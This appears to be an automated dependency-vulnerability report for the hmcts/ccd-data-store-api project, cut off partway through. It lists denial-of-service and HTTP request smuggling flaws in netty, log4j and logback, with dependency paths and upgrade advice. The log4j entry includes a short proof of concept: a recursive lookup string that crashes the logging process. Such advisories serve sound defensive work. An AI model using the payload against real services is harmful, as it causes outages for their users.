  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Denial of Service (DoS). Bzip2Decoder doesn't allow setting size restrictions for decompressed data. An attacker can exploit this by providing a compressed file that, when decompressed, triggers an out-of-memory exception.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec to version 4.1.68.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the package mishandling Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header when using HTTP/1.1. This issue exists because of an incomplete fix for CVE-2019-16869.

NOTE: This vulnerability has also been identified as: CVE-2019-20445

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. It allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax or as an "invalid fold."

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the package mishandling Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header when using HTTP/1.1. This issue exists because of an incomplete fix for CVE-2019-16869.

NOTE: This vulnerability has also been identified as: CVE-2020-7238

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.44.Final or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.

When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.

PoC

In log4j.properties:

appender.console.type = Console
appender.console.name = console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = !${ctx:test}! %m%n
rootLogger.level = ALL
rootLogger.appenderRef.file.ref = console

In Main.java:

ThreadContext.put("test", "${::-${ctx:test}}");
logger.error("boom"); // Will not be logged

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.3, 2.17.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: ch.qos.logback:logback-classic
  • Introduced through: com.microsoft.azure:applicationinsights-logging-logback@2.6.4, org.springframework.boot:spring-boot-starter-validation@4.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-validation@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-cache@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-jdbc@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.

Overview

ch.qos.logback:logback-classic is a reliable, generic, fast and flexible logging library for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can mount a denial-of-service attack by sending poisoned data. This is only exploitable if logback receiver component is deployed.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ch.qos.logback:logback-classic to version 1.2.13, 1.3.12, 1.4.12 or higher.

References

high severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: ch.qos.logback:logback-classic
  • Introduced through: com.microsoft.azure:applicationinsights-logging-logback@2.6.4, org.springframework.boot:spring-boot-starter-validation@4.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-validation@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-cache@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-jdbc@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.

Overview

ch.qos.logback:logback-classic is a reliable, generic, fast and flexible logging library for Java.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via the logback receiver component. An attacker can mount a denial-of-service attack by sending poisoned data.

Note:

Successful exploitation requires the logback-receiver component being enabled and also reachable by the attacker.

Remediation

Upgrade ch.qos.logback:logback-classic to version 1.2.13, 1.3.14, 1.4.14 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: com.microsoft.azure:applicationinsights-logging-logback@2.6.4, org.springframework.boot:spring-boot-starter-validation@4.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-validation@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-cache@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-jdbc@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can mount a denial-of-service attack by sending poisoned data. This is only exploitable if logback receiver component is deployed.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ch.qos.logback:logback-core to version 1.2.13, 1.3.12, 1.4.12 or higher.

References

high severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: com.microsoft.azure:applicationinsights-logging-logback@2.6.4, org.springframework.boot:spring-boot-starter-validation@4.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
